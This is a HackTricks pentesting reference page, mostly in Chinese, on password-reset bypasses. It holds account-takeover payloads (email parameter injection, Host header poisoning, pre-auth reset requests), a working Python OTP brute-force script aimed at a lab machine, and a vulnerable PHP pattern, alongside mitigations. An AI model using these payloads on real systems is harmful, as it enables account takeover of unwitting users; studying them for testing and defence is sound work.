重置/忘记密码 绕过
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Password Reset Token Leak Via Referrer
- HTTP referer header 可能会 leak password reset token,如果该 token 被包含在 URL 中。当用户在请求 password reset 后点击第三方网站的链接时,可能会发生这种情况。
- Impact:可能通过 Cross-Site Request Forgery (CSRF) 攻击导致账户被接管。
- Exploitation:要检查 password reset token 是否在 referer header 中泄露,先向你的邮箱 request a password reset,然后 click the reset link。不要立即修改你的密码。相反,在 使用 Burp Suite 拦截请求 的同时,导航到第三方网站(例如 Facebook 或 Twitter)。检查请求,查看 referer header 是否包含 password reset token,因为这可能会将敏感信息暴露给第三方。
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- 攻击者可能在 password reset 请求中操纵 Host header,将 reset link 指向恶意站点。
- Impact:可能导致账户被接管,by leaking reset tokens 给攻击者。
- Mitigation Steps:
- 将 Host header 与允许域名的白名单进行验证。
- 使用安全的服务端方法来生成绝对 URL。
- Patch:使用
$_SERVER['SERVER_NAME']来构建 password reset URLs,而不是使用$_SERVER['HTTP_HOST']。 - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Add attacker email as second parameter using &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- 添加 attacker email 作为第二个参数,使用 %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- 添加攻击者邮箱作为第二个参数,使用 |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- 添加 attacker email 作为第二个参数,使用 cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- 添加 attacker email 作为第二个参数,使用 bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- 将攻击者邮箱作为第二个参数添加,使用 ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- 在 json array 中将 attacker email 添加为第二个参数
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- 缓解步骤:
- 在服务器端正确解析并验证电子邮件参数。
- 使用 prepared statements 或 parameterized queries 来防止注入攻击。
- 参考资料:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
通过 API 参数更改任意用户的电子邮件和密码
- 攻击者可以在 API 请求中修改电子邮件和密码参数,从而更改账户凭据。
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- 缓解措施:
- 确保严格的参数验证和身份验证检查。
- 实施强健的日志记录和监控,以检测并响应可疑活动。
- Reference:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- 在 password reset 请求上缺乏 rate limiting 可能导致 Email Bombing,使用户被大量重置邮件淹没。
- 缓解措施:
- 基于 IP address 或用户账号实施 rate limiting。
- 使用 CAPTCHA 挑战以防止自动化滥用。
- References:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- 了解 token 生成的模式或方法可能导致预测或暴力破解 token。部分可能性:
- 基于时间戳
- 基于 UserID
- 基于用户的 email
- 基于 Firstname and Lastname
- 基于 Date of Birth
- 基于加密学
- 缓解措施:
- 使用强的、基于加密学的方法生成 token。
- 确保足够的随机性和长度以防止可预测性。
- Tools: 使用 Burp Sequencer 分析 token 的随机性。
Guessable UUID
- 如果 UUIDs (version 1) 可猜测或可预测,攻击者可能通过暴力破解生成有效的 reset tokens。检查:
- 缓解措施:
- 对于需要随机性的场景使用 GUID version 4,或对其他版本实现额外的安全措施。
- Tools: 使用 guidtool 来分析和生成 GUIDs。
Response Manipulation: Replace Bad Response With Good One
- 操作 HTTP responses 以绕过错误消息或限制。
- 缓解措施:
- 实施 server-side 检查以确保 response 的完整性。
- 使用像 HTTPS 这样的安全通信通道防止中间人攻击。
- Reference:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- 测试过期 token 是否仍可用于 password reset。
- 缓解措施:
- 实施严格的 token 过期策略,并在 server-side 验证 token 是否过期。
Brute Force Password Reset Token
- 尝试使用像 Burpsuite 和 IP-Rotator 之类的工具暴力破解 reset token,以绕过基于 IP 的 rate limits。
- 缓解措施:
- 实施强健的 rate-limiting 和账户锁定机制。
- 监控表明暴力破解攻击的可疑活动。
Try Using Your Token
- 测试攻击者的 reset token 是否可以与受害者的 email 一起使用。
- 缓解措施:
- 确保 tokens 绑定到用户 session 或其他用户特有属性。
Session Invalidation in Logout/Password Reset
- 确保用户登出或重置密码时会使会话失效。
- 缓解措施:
- 实施正确的会话管理,确保在 logout 或 password reset 时使所有会话失效。
Session Invalidation in Logout/Password Reset
- Reset tokens 应有过期时间,超过该时间后应失效。
- 缓解措施:
- 为 reset tokens 设定合理的过期时间并在 server-side 严格执行。
OTP rate limit bypass by changing your session
- 如果网站使用用户 session 来跟踪错误的 OTP 尝试并且 OTP 较弱 ( <= 4 digits),则我们可以有效地对 OTP 进行暴力破解。
- exploitation:
- 在被服务器阻止后,只需请求一个新的 session token。
- Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
一些实现会暴露一个 password change action,该 action 以 skipOldPwdCheck=true 调用 password-change 例程但不验证任何 reset token 或账户所有权。如果 endpoint 接受像 change_password 这样的 action 参数并在请求体中包含 username/new password,攻击者可以在 pre-auth 情况下重置任意账户。
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Exploitation 请求(概念):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
缓解措施:
- 始终在更改密码之前要求存在一个有效的、绑定到账户和会话且有时效的重置令牌。
- 永远不要向未经过身份验证的用户暴露 skipOldPwdCheck 路径;对于常规密码更改,强制进行身份验证并验证旧密码。
- 在密码更改后使所有活动会话和重置令牌失效。
Registration-as-Password-Reset (Upsert on Existing Email)
一些应用将 signup handler 实现为 upsert。如果邮箱已存在,handler 会静默更新用户记录,而不是拒绝请求。当 registration endpoint 接受包含已存在邮箱和新密码的最小 JSON body 时,它实际上会变成一个 pre-auth password reset,且没有任何所有权验证,从而允许完全的 account takeover。
Pre-auth ATO PoC (overwriting an existing user's password):
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
参考资料
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks